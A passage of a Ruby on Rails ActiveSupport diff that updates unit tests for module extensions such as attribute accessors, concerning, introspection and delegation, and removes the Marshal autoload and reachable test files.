-    remove_constants(:EM, :ClassFolder)
-  end
-
-  test "that Marshal#load still works" do
-    sanity_data = ["test", [1, 2, 3], { a: [1, 2, 3] }, ActiveSupport::TestCase]
-    sanity_data.each do |obj|
-      dumped = Marshal.dump(obj)
-      assert_equal Marshal.method(:load).super_method.call(dumped), Marshal.load(dumped)
-    end
-  end
-
-  test "that a missing class is autoloaded from string" do
-    dumped = nil
-    with_autoloading_fixtures do
-      dumped = Marshal.dump(EM.new)
-    end
-
-    remove_constants(:EM)
-    ActiveSupport::Dependencies.clear
-
-    with_autoloading_fixtures do
-      object = nil
-      assert_nothing_raised do
-        object = Marshal.load(dumped)
-      end
-
-      assert_kind_of EM, object
-    end
-  end
-
-  test "that classes in sub modules work" do
-    dumped = nil
-    with_autoloading_fixtures do
-      dumped = Marshal.dump(ClassFolder::ClassFolderSubclass.new)
-    end
-
-    remove_constants(:ClassFolder)
-    ActiveSupport::Dependencies.clear
-
-    with_autoloading_fixtures do
-      object = nil
-      assert_nothing_raised do
-        object = Marshal.load(dumped)
-      end
-
-      assert_kind_of ClassFolder::ClassFolderSubclass, object
-    end
-  end
-
-  test "that more than one missing class is autoloaded" do
-    dumped = nil
-    with_autoloading_fixtures do
-      dumped = Marshal.dump([EM.new, ClassFolder.new])
-    end
-
-    remove_constants(:EM, :ClassFolder)
-    ActiveSupport::Dependencies.clear
-
-    with_autoloading_fixtures do
-      loaded = Marshal.load(dumped)
-      assert_equal 2, loaded.size
-      assert_kind_of EM, loaded[0]
-      assert_kind_of ClassFolder, loaded[1]
-    end
-  end
-
-  test "when one constant resolves to another" do
-    class Parent; C = Class.new; end
-    class Child < Parent; C = Class.new; end
-
-    dump = Marshal.dump(Child::C.new)
-
-    Child.send(:remove_const, :C)
-
-    assert_raise(ArgumentError) { Marshal.load(dump) }
-  end
-
-  test "that a real missing class is causing an exception" do
-    dumped = nil
-    with_autoloading_fixtures do
-      dumped = Marshal.dump(EM.new)
-    end
-
-    remove_constants(:EM)
-    ActiveSupport::Dependencies.clear
-
-    assert_raise(NameError) do
-      Marshal.load(dumped)
-    end
-  end
-
-  test "when first class is autoloaded and second not" do
-    dumped = nil
-    class SomeClass
-    end
-
-    with_autoloading_fixtures do
-      dumped = Marshal.dump([EM.new, SomeClass.new])
-    end
-
-    remove_constants(:EM)
-    self.class.send(:remove_const, :SomeClass)
-    ActiveSupport::Dependencies.clear
-
-    with_autoloading_fixtures do
-      assert_raise(NameError) do
-        Marshal.load(dumped)
-      end
-
-      assert_nothing_raised do
-        EM.new
-      end
-
-      assert_raise(NameError, "We expected SomeClass to not be loaded but it is!") do
-        SomeClass.new
-      end
-    end
-  end
-
-  test "loading classes from files trigger autoloading" do
-    Tempfile.open("object_serializer_test") do |f|
-      with_autoloading_fixtures do
-        Marshal.dump(EM.new, f)
-      end
-
-      f.rewind
-      remove_constants(:EM)
-      ActiveSupport::Dependencies.clear
-
-      with_autoloading_fixtures do
-        object = nil
-        assert_nothing_raised do
-          object = Marshal.load(f)
-        end
-
-        assert_kind_of EM, object
-      end
-    end
-  end
-end
diff --git a/activesupport/test/core_ext/module/anonymous_test.rb b/activesupport/test/core_ext/module/anonymous_test.rb
index f885444284b35..0fda237189f6a 100644
--- a/activesupport/test/core_ext/module/anonymous_test.rb
+++ b/activesupport/test/core_ext/module/anonymous_test.rb
@@ -1,14 +1,16 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "active_support/core_ext/module/anonymous"
 
 class AnonymousTest < ActiveSupport::TestCase
   test "an anonymous class or module are anonymous" do
-    assert Module.new.anonymous?
-    assert Class.new.anonymous?
+    assert_predicate Module.new, :anonymous?
+    assert_predicate Class.new, :anonymous?
   end
 
   test "a named class or module are not anonymous" do
-    assert !Kernel.anonymous?
-    assert !Object.anonymous?
+    assert_not_predicate Kernel, :anonymous?
+    assert_not_predicate Object, :anonymous?
   end
 end
diff --git a/activesupport/test/core_ext/module/attr_internal_test.rb b/activesupport/test/core_ext/module/attr_internal_test.rb
index 8458e278ee648..f60d5795fe32b 100644
--- a/activesupport/test/core_ext/module/attr_internal_test.rb
+++ b/activesupport/test/core_ext/module/attr_internal_test.rb
@@ -1,16 +1,23 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "active_support/core_ext/module/attr_internal"
 
 class AttrInternalTest < ActiveSupport::TestCase
   def setup
     @target = Class.new
     @instance = @target.new
+    @naming_format_was = Module.attr_internal_naming_format
+  end
+
+  def teardown
+    Module.attr_internal_naming_format = @naming_format_was
   end
 
   def test_reader
     assert_nothing_raised { @target.attr_internal_reader :foo }
 
-    assert !@instance.instance_variable_defined?("@_foo")
+    assert_not @instance.instance_variable_defined?("@_foo")
     assert_raise(NoMethodError) { @instance.foo = 1 }
 
     @instance.instance_variable_set("@_foo", 1)
@@ -20,7 +27,7 @@ def test_reader
   def test_writer
     assert_nothing_raised { @target.attr_internal_writer :foo }
 
-    assert !@instance.instance_variable_defined?("@_foo")
+    assert_not @instance.instance_variable_defined?("@_foo")
     assert_nothing_raised { assert_equal 1, @instance.foo = 1 }
 
     assert_equal 1, @instance.instance_variable_get("@_foo")
@@ -30,24 +37,28 @@ def test_writer
   def test_accessor
     assert_nothing_raised { @target.attr_internal :foo }
 
-    assert !@instance.instance_variable_defined?("@_foo")
+    assert_not @instance.instance_variable_defined?("@_foo")
     assert_nothing_raised { assert_equal 1, @instance.foo = 1 }
 
     assert_equal 1, @instance.instance_variable_get("@_foo")
     assert_nothing_raised { assert_equal 1, @instance.foo }
   end
 
+  def test_invalid_naming_format
+    assert_equal "_%s", Module.attr_internal_naming_format
+    assert_raises(ArgumentError) do
+      Module.attr_internal_naming_format = "@___%s"
+    end
+  end
+
   def test_naming_format
-    assert_equal "@_%s", Module.attr_internal_naming_format
-    assert_nothing_raised { Module.attr_internal_naming_format = "@abc%sdef" }
+    assert_nothing_raised { Module.attr_internal_naming_format = "abc%sdef" }
     @target.attr_internal :foo
 
-    assert !@instance.instance_variable_defined?("@_foo")
-    assert !@instance.instance_variable_defined?("@abcfoodef")
+    assert_not @instance.instance_variable_defined?("@_foo")
+    assert_not @instance.instance_variable_defined?("@abcfoodef")
     assert_nothing_raised { @instance.foo = 1 }
-    assert !@instance.instance_variable_defined?("@_foo")
+    assert_not @instance.instance_variable_defined?("@_foo")
     assert @instance.instance_variable_defined?("@abcfoodef")
-  ensure
-    Module.attr_internal_naming_format = "@_%s"
   end
 end
diff --git a/activesupport/test/core_ext/module/attribute_accessor_per_thread_test.rb b/activesupport/test/core_ext/module/attribute_accessor_per_thread_test.rb
index af240bc38dde0..15801b4917603 100644
--- a/activesupport/test/core_ext/module/attribute_accessor_per_thread_test.rb
+++ b/activesupport/test/core_ext/module/attribute_accessor_per_thread_test.rb
@@ -1,22 +1,77 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "active_support/core_ext/module/attribute_accessors_per_thread"
 
 class ModuleAttributeAccessorPerThreadTest < ActiveSupport::TestCase
-  def setup
+  setup do
     @class = Class.new do
       thread_mattr_accessor :foo
       thread_mattr_accessor :bar,  instance_writer: false
       thread_mattr_reader   :shaq, instance_reader: false
       thread_mattr_accessor :camp, instance_accessor: false
+    end
+
+    @subclass = Class.new(@class)
 
-      def self.name; "MyClass" end
+    @object = @class.new
+  end
+
+  def test_is_shared_between_fibers
+    @class.foo = 42
+    enumerator = Enumerator.new do |yielder|
+      yielder.yield @class.foo
     end
+    assert_equal 42, enumerator.next
+  end
 
-    @subclass = Class.new(@class) do
-      def self.name; "SubMyClass" end
+  def test_is_not_shared_between_fibers_if_isolation_level_is_fiber
+    previous_level = ActiveSupport::IsolatedExecutionState.isolation_level
+    ActiveSupport::IsolatedExecutionState.isolation_level = :fiber
+
+    @class.foo = 42
+    enumerator = Enumerator.new do |yielder|
+      yielder.yield @class.foo
     end
+    assert_nil enumerator.next
+  ensure
+    ActiveSupport::IsolatedExecutionState.isolation_level = previous_level
+  end
 
-    @object = @class.new
+  def test_default_value
+    @class.thread_mattr_accessor :baz, default: "default_value"
+
+    assert_equal "default_value", @class.baz
+  end
+
+  def test_default_value_is_accessible_from_subclasses
+    @class.thread_mattr_accessor :baz, default: "default_value"
+
+    assert_equal "default_value", @subclass.baz
+  end
+
+  def test_default_value_is_accessible_from_other_threads
+    @class.thread_mattr_accessor :baz, default: "default_value"
+
+    Thread.new do
+      assert_equal "default_value", @class.baz
+    end.join
+  end
+
+  def test_nonfrozen_default_value_is_duped_and_frozen
+    default = []
+    @class.thread_mattr_accessor :baz, default: default
+
+    assert_equal default, @class.baz
+    assert_predicate @class.baz, :frozen?
+    assert_not_predicate default, :frozen?
+  end
+
+  def test_frozen_default_value_is_not_duped
+    default = [].freeze
+    @class.thread_mattr_accessor :baz, default: default
+
+    assert_same default, @class.baz
   end
 
   def test_should_use_mattr_default
@@ -41,22 +96,22 @@ def test_should_not_create_instance_writer
       assert_respond_to @class, :foo
       assert_respond_to @class, :foo=
       assert_respond_to @object, :bar
-      assert !@object.respond_to?(:bar=)
+      assert_not_respond_to @object, :bar=
     end.join
   end
 
   def test_should_not_create_instance_reader
     Thread.new do
       assert_respond_to @class, :shaq
-      assert !@object.respond_to?(:shaq)
+      assert_not_respond_to @object, :shaq
     end.join
   end
 
   def test_should_not_create_instance_accessors
     Thread.new do
       assert_respond_to @class, :camp
-      assert !@object.respond_to?(:camp)
-      assert !@object.respond_to?(:camp=)
+      assert_not_respond_to @object, :camp
+      assert_not_respond_to @object, :camp=
     end.join
   end
 
@@ -64,23 +119,23 @@ def test_values_should_not_bleed_between_threads
     threads = []
     threads << Thread.new do
       @class.foo = "things"
-      sleep 1
+      Thread.pass
       assert_equal "things", @class.foo
     end
 
     threads << Thread.new do
       @class.foo = "other things"
-      sleep 1
+      Thread.pass
       assert_equal "other things", @class.foo
     end
 
     threads << Thread.new do
       @class.foo = "really other things"
-      sleep 1
+      Thread.pass
       assert_equal "really other things", @class.foo
     end
 
-    threads.each { |t| t.join }
+    threads.each(&:join)
   end
 
   def test_should_raise_name_error_if_attribute_name_is_invalid
@@ -89,28 +144,28 @@ def test_should_raise_name_error_if_attribute_name_is_invalid
         thread_cattr_reader "1nvalid"
       end
     end
-    assert_equal "invalid attribute name: 1nvalid", exception.message
+    assert_match "invalid attribute name: 1nvalid", exception.message
 
     exception = assert_raises NameError do
       Class.new do
         thread_cattr_writer "1nvalid"
       end
     end
-    assert_equal "invalid attribute name: 1nvalid", exception.message
+    assert_match "invalid attribute name: 1nvalid", exception.message
 
     exception = assert_raises NameError do
       Class.new do
         thread_mattr_reader "1valid_part"
       end
     end
-    assert_equal "invalid attribute name: 1valid_part", exception.message
+    assert_match "invalid attribute name: 1valid_part", exception.message
 
     exception = assert_raises NameError do
       Class.new do
         thread_mattr_writer "2valid_part"
       end
     end
-    assert_equal "invalid attribute name: 2valid_part", exception.message
+    assert_match "invalid attribute name: 2valid_part", exception.message
   end
 
   def test_should_return_same_value_by_class_or_instance_accessor
@@ -128,4 +183,28 @@ def test_should_not_affect_superclass_if_subclass_set_value
     assert_equal "super", @class.foo
     assert_equal "sub", @subclass.foo
   end
+
+  def test_superclass_keeps_default_value_when_value_set_on_subclass
+    @class.thread_mattr_accessor :baz, default: "default_value"
+    @subclass.baz = "sub"
+
+    assert_equal "default_value", @class.baz
+    assert_equal "sub", @subclass.baz
+  end
+
+  def test_subclass_keeps_default_value_when_value_set_on_superclass
+    @class.thread_mattr_accessor :baz, default: "default_value"
+    @class.baz = "super"
+
+    assert_equal "super", @class.baz
+    assert_equal "default_value", @subclass.baz
+  end
+
+  def test_subclass_can_override_default_value_without_affecting_superclass
+    @class.thread_mattr_accessor :baz, default: "super"
+    @subclass.thread_mattr_accessor :baz, default: "sub"
+
+    assert_equal "super", @class.baz
+    assert_equal "sub", @subclass.baz
+  end
 end
diff --git a/activesupport/test/core_ext/module/attribute_accessor_test.rb b/activesupport/test/core_ext/module/attribute_accessor_test.rb
index 464a000d59eb5..99b9f4993f195 100644
--- a/activesupport/test/core_ext/module/attribute_accessor_test.rb
+++ b/activesupport/test/core_ext/module/attribute_accessor_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "active_support/core_ext/module/attribute_accessors"
 
 class ModuleAttributeAccessorTest < ActiveSupport::TestCase
@@ -12,7 +14,14 @@ def setup
       cattr_accessor(:defa) { "default_accessor_value" }
       cattr_reader(:defr) { "default_reader_value" }
       cattr_writer(:defw) { "default_writer_value" }
+      cattr_accessor(:deff) { false }
       cattr_accessor(:quux) { :quux }
+
+      cattr_accessor :def_accessor, default: "default_accessor_value"
+      cattr_reader :def_reader, default: "default_reader_value"
+      cattr_writer :def_writer, default: "default_writer_value"
+      cattr_accessor :def_false, default: false
+      cattr_accessor(:def_priority, default: false) { :no_priority }
     end
     @class = Class.new
     @class.instance_eval { include m }
@@ -24,6 +33,21 @@ def test_should_use_mattr_default
     assert_nil @object.foo
   end
 
+  def test_mattr_default_keyword_arguments
+    assert_equal "default_accessor_value", @module.def_accessor
+    assert_equal "default_reader_value", @module.def_reader
+    assert_equal "default_writer_value", @module.class_variable_get(:@@def_writer)
+  end
+
+  def test_mattr_can_default_to_false
+    assert_equal false, @module.def_false
+    assert_equal false, @module.deff
+  end
+
+  def test_mattr_default_priority
+    assert_equal false, @module.def_priority
+  end
+
   def test_should_set_mattr_value
     @module.foo = :test
     assert_equal :test, @object.foo
@@ -41,18 +65,18 @@ def test_should_not_create_instance_writer
     assert_respond_to @module, :foo
     assert_respond_to @module, :foo=
     assert_respond_to @object, :bar
-    assert !@object.respond_to?(:bar=)
+    assert_not_respond_to @object, :bar=
   end
 
   def test_should_not_create_instance_reader
     assert_respond_to @module, :shaq
-    assert !@object.respond_to?(:shaq)
+    assert_not_respond_to @object, :shaq
   end
 
   def test_should_not_create_instance_accessors
     assert_respond_to @module, :camp
-    assert !@object.respond_to?(:camp)
-    assert !@object.respond_to?(:camp=)
+    assert_not_respond_to @object, :camp
+    assert_not_respond_to @object, :camp=
   end
 
   def test_should_raise_name_error_if_attribute_name_is_invalid
@@ -61,28 +85,28 @@ def test_should_raise_name_error_if_attribute_name_is_invalid
         cattr_reader "1nvalid"
       end
     end
-    assert_equal "invalid attribute name: 1nvalid", exception.message
+    assert_match "invalid attribute name: 1nvalid", exception.message
 
     exception = assert_raises NameError do
       Class.new do
         cattr_writer "1nvalid"
       end
     end
-    assert_equal "invalid attribute name: 1nvalid", exception.message
+    assert_match "invalid attribute name: 1nvalid", exception.message
 
     exception = assert_raises NameError do
       Class.new do
         mattr_reader "valid_part\ninvalid_part"
       end
     end
-    assert_equal "invalid attribute name: valid_part\ninvalid_part", exception.message
+    assert_match "invalid attribute name: valid_part\ninvalid_part", exception.message
 
     exception = assert_raises NameError do
       Class.new do
         mattr_writer "valid_part\ninvalid_part"
       end
     end
-    assert_equal "invalid attribute name: valid_part\ninvalid_part", exception.message
+    assert_match "invalid attribute name: valid_part\ninvalid_part", exception.message
   end
 
   def test_should_use_default_value_if_block_passed
@@ -91,9 +115,36 @@ def test_should_use_default_value_if_block_passed
     assert_equal "default_writer_value", @module.class_variable_get("@@defw")
   end
 
-  def test_should_not_invoke_default_value_block_multiple_times
+  def test_method_invocation_should_not_invoke_the_default_block
     count = 0
+
     @module.cattr_accessor(:defcount) { count += 1 }
+
     assert_equal 1, count
+    assert_no_difference "count" do
+      @module.defcount
+    end
+  end
+
+  def test_declaring_multiple_attributes_at_once_invokes_the_block_multiple_times
+    count = 0
+
+    @module.cattr_accessor(:defn1, :defn2) { count += 1 }
+
+    assert_equal 1, @module.defn1
+    assert_equal 2, @module.defn2
+  end
+
+  def test_declaring_attributes_on_singleton_errors
+    klass = Class.new
+
+    ex = assert_raises TypeError do
+      class << klass
+        mattr_accessor :my_attr
+      end
+    end
+    assert_equal "module attributes should be defined directly on class, not singleton", ex.message
+
+    assert_not_includes Module.class_variables, :@@my_attr
   end
 end
diff --git a/activesupport/test/core_ext/module/attribute_aliasing_test.rb b/activesupport/test/core_ext/module/attribute_aliasing_test.rb
index fdfa86885141c..665866ac6f2f6 100644
--- a/activesupport/test/core_ext/module/attribute_aliasing_test.rb
+++ b/activesupport/test/core_ext/module/attribute_aliasing_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "active_support/core_ext/module/aliasing"
 
 module AttributeAliasing
@@ -28,15 +30,15 @@ class AttributeAliasingTest < ActiveSupport::TestCase
   def test_attribute_alias
     e = AttributeAliasing::Email.new
 
-    assert !e.subject?
+    assert_not_predicate e, :subject?
 
     e.title = "Upgrade computer"
     assert_equal "Upgrade computer", e.subject
-    assert e.subject?
+    assert_predicate e, :subject?
 
     e.subject = "We got a long way to go"
     assert_equal "We got a long way to go", e.title
-    assert e.title?
+    assert_predicate e, :title?
   end
 
   def test_aliasing_to_uppercase_attributes
@@ -45,15 +47,15 @@ def test_aliasing_to_uppercase_attributes
     # to more sensible ones, everything goes *foof*.
     e = AttributeAliasing::Email.new
 
-    assert !e.body?
-    assert !e.Data?
+    assert_not_predicate e, :body?
+    assert_not_predicate e, :Data?
 
     e.body = "No, really, this is not a joke."
     assert_equal "No, really, this is not a joke.", e.Data
-    assert e.Data?
+    assert_predicate e, :Data?
 
     e.Data = "Uppercased methods are the suck"
     assert_equal "Uppercased methods are the suck", e.body
-    assert e.body?
+    assert_predicate e, :body?
   end
 end
diff --git a/activesupport/test/core_ext/module/concerning_test.rb b/activesupport/test/core_ext/module/concerning_test.rb
index 098036828adb2..c6afbe537cf0d 100644
--- a/activesupport/test/core_ext/module/concerning_test.rb
+++ b/activesupport/test/core_ext/module/concerning_test.rb
@@ -1,11 +1,28 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "active_support/core_ext/module/concerning"
 
 class ModuleConcerningTest < ActiveSupport::TestCase
   def test_concerning_declares_a_concern_and_includes_it_immediately
-    klass = Class.new { concerning(:Foo) {} }
+    klass = Class.new { concerning(:Foo) { } }
+    assert_includes klass.ancestors, klass::Foo, klass.ancestors.inspect
+
+    klass = Class.new { concerning(:Foo, prepend: true) { } }
     assert_includes klass.ancestors, klass::Foo, klass.ancestors.inspect
   end
+
+  def test_concerning_can_prepend_concern
+    klass = Class.new do
+      def hi; "self"; end
+
+      concerning(:Foo, prepend: true) do
+        def hi; "hello, #{super}"; end
+      end
+    end
+
+    assert_equal "hello, self", klass.new.hi
+  end
 end
 
 class ModuleConcernTest < ActiveSupport::TestCase
@@ -13,13 +30,14 @@ def test_concern_creates_a_module_extended_with_active_support_concern
     klass = Class.new do
       concern :Baz do
         included { @foo = 1 }
+        prepended { @foo = 2 }
         def should_be_public; end
       end
     end
 
     # Declares a concern but doesn't include it
     assert klass.const_defined?(:Baz, false)
-    assert !ModuleConcernTest.const_defined?(:Baz)
+    assert_not ModuleConcernTest.const_defined?(:Baz)
     assert_kind_of ActiveSupport::Concern, klass::Baz
     assert_not_includes klass.ancestors, klass::Baz, klass.ancestors.inspect
 
@@ -28,6 +46,9 @@ def should_be_public; end
 
     # Calls included hook
     assert_equal 1, Class.new { include klass::Baz }.instance_variable_get("@foo")
+
+    # Calls prepended hook
+    assert_equal 2, Class.new { prepend klass::Baz }.instance_variable_get("@foo")
   end
 
   class Foo
@@ -50,16 +71,47 @@ def nicer_dsl; end
         def doesnt_clobber; end
       end
     end
+
+    concerning :Baz, prepend: true do
+      module ClassMethods
+        def will_be_orphaned_also; end
+      end
+
+      const_set :ClassMethods, Module.new {
+        def hacked_on_also; end
+      }
+
+      # Doesn't overwrite existing ClassMethods module.
+      class_methods do
+        def nicer_dsl_also; end
+      end
+
+      # Doesn't overwrite previous class_methods definitions.
+      class_methods do
+        def doesnt_clobber_also; end
+      end
+    end
   end
 
   def test_using_class_methods_blocks_instead_of_ClassMethods_module
-    assert !Foo.respond_to?(:will_be_orphaned)
-    assert Foo.respond_to?(:hacked_on)
-    assert Foo.respond_to?(:nicer_dsl)
-    assert Foo.respond_to?(:doesnt_clobber)
+    assert_not_respond_to Foo, :will_be_orphaned
+    assert_respond_to Foo, :hacked_on
+    assert_respond_to Foo, :nicer_dsl
+    assert_respond_to Foo, :doesnt_clobber
 
     # Orphan in Foo::ClassMethods, not Bar::ClassMethods.
     assert Foo.const_defined?(:ClassMethods)
     assert Foo::ClassMethods.method_defined?(:will_be_orphaned)
   end
+
+  def test_using_class_methods_blocks_instead_of_ClassMethods_module_prepend
+    assert_not_respond_to Foo, :will_be_orphaned_also
+    assert_respond_to Foo, :hacked_on_also
+    assert_respond_to Foo, :nicer_dsl_also
+    assert_respond_to Foo, :doesnt_clobber_also
+
+    # Orphan in Foo::ClassMethods, not Bar::ClassMethods.
+    assert Foo.const_defined?(:ClassMethods)
+    assert Foo::ClassMethods.method_defined?(:will_be_orphaned_also)
+  end
 end
diff --git a/activesupport/test/core_ext/module/introspection_test.rb b/activesupport/test/core_ext/module/introspection_test.rb
index db383850cd294..d488cedcee021 100644
--- a/activesupport/test/core_ext/module/introspection_test.rb
+++ b/activesupport/test/core_ext/module/introspection_test.rb
@@ -1,4 +1,6 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "active_support/core_ext/module/introspection"
 
 module ParentA
@@ -13,25 +15,43 @@ module FrozenB; end
 end
 
 class IntrospectionTest < ActiveSupport::TestCase
-  def test_parent_name
-    assert_equal "ParentA", ParentA::B.parent_name
-    assert_equal "ParentA::B", ParentA::B::C.parent_name
-    assert_nil ParentA.parent_name
+  def test_module_parent_name
+    assert_equal "ParentA", ParentA::B.module_parent_name
+    assert_equal "ParentA::B", ParentA::B::C.module_parent_name
+    assert_nil ParentA.module_parent_name
+  end
+
+  def test_module_parent_name_when_frozen
+    assert_equal "ParentA", ParentA::FrozenB.module_parent_name
+    assert_equal "ParentA::B", ParentA::B::FrozenC.module_parent_name
+  end
+
+  def test_module_parent_name_notice_changes
+    klass = Class.new
+    assert_nil klass.module_parent_name
+    ParentA.const_set(:NewClass, klass)
+    assert_equal "ParentA", klass.module_parent_name
+  ensure
+    ParentA.send(:remove_const, :NewClass) if ParentA.const_defined?(:NewClass)
   end
 
-  def test_parent_name_when_frozen
-    assert_equal "ParentA", ParentA::FrozenB.parent_name
-    assert_equal "ParentA::B", ParentA::B::FrozenC.parent_name
+  def test_module_parent
+    assert_equal ParentA::B, ParentA::B::C.module_parent
+    assert_equal ParentA, ParentA::B.module_parent
+    assert_equal Object, ParentA.module_parent
   end
 
-  def test_parent
-    assert_equal ParentA::B, ParentA::B::C.parent
-    assert_equal ParentA, ParentA::B.parent
-    assert_equal Object, ParentA.parent
+  def test_module_parents
+    assert_equal [ParentA::B, ParentA, Object], ParentA::B::C.module_parents
+    assert_equal [ParentA, Object], ParentA::B.module_parents
   end
 
-  def test_parents
-    assert_equal [ParentA::B, ParentA, Object], ParentA::B::C.parents
-    assert_equal [ParentA, Object], ParentA::B.parents
+  def test_module_parent_notice_changes
+    klass = Class.new
+    assert_equal Object, klass.module_parent
+    ParentA.const_set(:NewClass, klass)
+    assert_equal ParentA, klass.module_parent
+  ensure
+    ParentA.send(:remove_const, :NewClass) if ParentA.const_defined?(:NewClass)
   end
 end
diff --git a/activesupport/test/core_ext/module/reachable_test.rb b/activesupport/test/core_ext/module/reachable_test.rb
deleted file mode 100644
index 487c7dee1637c..0000000000000
--- a/activesupport/test/core_ext/module/reachable_test.rb
+++ /dev/null
@@ -1,41 +0,0 @@
-require "abstract_unit"
-require "active_support/core_ext/module/reachable"
-
-class AnonymousTest < ActiveSupport::TestCase
-  test "an anonymous class or module is not reachable" do
-    assert !Module.new.reachable?
-    assert !Class.new.reachable?
-  end
-
-  test "ordinary named classes or modules are reachable" do
-    assert Kernel.reachable?
-    assert Object.reachable?
-  end
-
-  test "a named class or module whose constant has gone is not reachable" do
-    c = eval "class C; end; C"
-    m = eval "module M; end; M"
-
-    self.class.send(:remove_const, :C)
-    self.class.send(:remove_const, :M)
-
-    assert !c.reachable?
-    assert !m.reachable?
-  end
-
-  test "a named class or module whose constants store different objects are not reachable" do
-    c = eval "class C; end; C"
-    m = eval "module M; end; M"
-
-    self.class.send(:remove_const, :C)
-    self.class.send(:remove_const, :M)
-
-    eval "class C; end"
-    eval "module M; end"
-
-    assert C.reachable?
-    assert M.reachable?
-    assert !c.reachable?
-    assert !m.reachable?
-  end
-end
diff --git a/activesupport/test/core_ext/module/remove_method_test.rb b/activesupport/test/core_ext/module/remove_method_test.rb
index 0c627f1e74ad7..e24cab5fdd203 100644
--- a/activesupport/test/core_ext/module/remove_method_test.rb
+++ b/activesupport/test/core_ext/module/remove_method_test.rb
@@ -1,25 +1,27 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../../abstract_unit"
 require "active_support/core_ext/module/remove_method"
 
 module RemoveMethodTests
   class A
     def do_something
-      return 1
+      1
     end
 
     def do_something_protected
-      return 1
+      1
     end
     protected :do_something_protected
 
     def do_something_private
-      return 1
+      1
     end
     private :do_something_private
 
     class << self
       def do_something_else
-        return 2
+        2
       end
     end
   end
@@ -30,14 +32,14 @@ def test_remove_method_from_an_object
     RemoveMethodTests::A.class_eval {
       remove_possible_method(:do_something)
     }
-    assert !RemoveMethodTests::A.new.respond_to?(:do_something)
+    assert_not_respond_to RemoveMethodTests::A.new, :do_something
   end
 
   def test_remove_singleton_method_from_an_object
     RemoveMethodTests::A.class_eval {
       remove_possible_singleton_method(:do_something_else)
     }
-    assert !RemoveMethodTests::A.respond_to?(:do_something_else)
+    assert_not_respond_to RemoveMethodTests::A, :do_something_else
   end
 
   def test_redefine_method_in_an_object
diff --git a/activesupport/test/core_ext/module_test.rb b/activesupport/test/core_ext/module_test.rb
index a17438bf4d88f..baefd78171641 100644
--- a/activesupport/test/core_ext/module_test.rb
+++ b/activesupport/test/core_ext/module_test.rb
@@ -1,29 +1,38 @@
-require "abstract_unit"
+# frozen_string_literal: true
+
+require_relative "../abstract_unit"
 require "active_support/core_ext/module"
 
 Somewhere = Struct.new(:street, :city) do
   attr_accessor :name
+
+  def self.country
+    yield
+  end
 end
 
 Someone = Struct.new(:name, :place) do
+  def self.table_name
+    "some_table"
+  end
+
   delegate :street, :city, :to_f, to: :place
   delegate :name=, to: :place, prefix: true
   delegate :upcase, to: "place.city"
   delegate :table_name, to: :class
   delegate :table_name, to: :class, prefix: true
-
-  def self.table_name
-    "some_table"
-  end
-
+  delegate :country, to: Somewhere
   self::FAILED_DELEGATE_LINE = __LINE__ + 1
   delegate :foo, to: :place
 
   self::FAILED_DELEGATE_LINE_2 = __LINE__ + 1
   delegate :bar, to: :place, allow_nil: true
 
-  private
+  def kw_send(method:)
+    public_send(method)
+  end
 
+  private
     def private_name
       "Private"
     end
@@ -47,6 +56,16 @@ def private_name
   delegate :foo, to: :case
 end
 
+class BasicEvent < BasicObject
+  delegate :foo, to: :case
+
+  attr_reader :case
+
+  def initialize(kase)
+    @case = kase
+  end
+end
+
 Tester = Struct.new(:client) do
   delegate :name, to: :client, prefix: false
 
@@ -58,22 +77,52 @@ def foo; 1; end
   delegate :name, to: :type, prefix: true
 
   def manufacturer
-    @manufacturer ||= begin
-      nil.unknown_method
-    end
+    @manufacturer ||= nil.unknown_method
   end
 
   def type
-    @type ||= begin
-      nil.type_name
+    @type ||= nil.type_name
+  end
+end
+
+module ExtraMissing
+  def method_missing(sym, ...)
+    if sym == :extra_missing
+      42
+    else
+      super
     end
   end
+
+  def respond_to_missing?(sym, priv = false)
+    sym == :extra_missing || super
+  end
 end
 
 DecoratedTester = Struct.new(:client) do
+  include ExtraMissing
+
+  def call_name
+    name
+  end
+
   delegate_missing_to :client
 end
 
+class DecoratedMissingAllowNil
+  delegate_missing_to :case, allow_nil: true
+
+  def call_name
+    name
+  end
+
+  attr_reader :case
+
+  def initialize(kase)
+    @case = kase
+  end
+end
+
 class DecoratedReserved
   delegate_missing_to :case
 
@@ -84,6 +133,34 @@ def initialize(kase)
   end
 end
 
+class Maze
+  attr_accessor :cavern, :passages
+end
+
+class Cavern
+  delegate_missing_to :target
+
+  attr_reader :maze
+
+  def initialize(maze)
+    @maze = maze
+  end
+
+  def target
+    @maze.passages = :twisty
+  end
+end
+
+class BasicCavern < BasicObject
+  delegate_missing_to :target
+
+  attr_reader :target
+
+  def initialize(target)
+    @target = target
+  end
+end
+
 class Block
   def hello?
     true
@@ -126,6 +203,28 @@ def shift
 end
 
 class ModuleTest < ActiveSupport::TestCase
+  class ArityTester
+    class << self
+      def zero; end
+      def zero_with_block(&bl); end
+      def zero_with_implicit_block; yield end
+      def one(a) end
+      def one_with_block(a) end
+      def two(a, b) end
+      def opt(a, b, c, d = nil) end
+      def kwargs(a:, b:) end
+      def kwargs_with_block(a:, b:, c:, &block) end
+      def opt_kwargs(a:, b: 3) end
+      def opt_kwargs_with_block(a:, b:, c:, d: "", &block) end
+    end
+  end
+
+  module ArityTesterModule
+    class << self
+      def zero; end
+    end
+  end
+
   def setup
     @david = Someone.new("David", Somewhere.new("Paulina", "Chicago"))
   end
@@ -219,6 +318,12 @@ def initialize(client)
     end
   end
 
+  def test_delegation_with_implicit_block
+    assert_nothing_raised do
+      @david.country {  }
+    end
+  end
+
   def test_delegation_with_allow_nil
     rails = Project.new("Rails", Someone.new("David"))
     assert_equal "David", rails.name
@@ -229,7 +334,7 @@ def test_delegation_with_allow_nil_and_nil_value
     assert_nil rails.name
   end
 
-  # Ensures with check for nil, not for a falseish target.
+  # Ensures with check for nil, not for a falsy target.
   def test_delegation_with_allow_nil_and_false_value
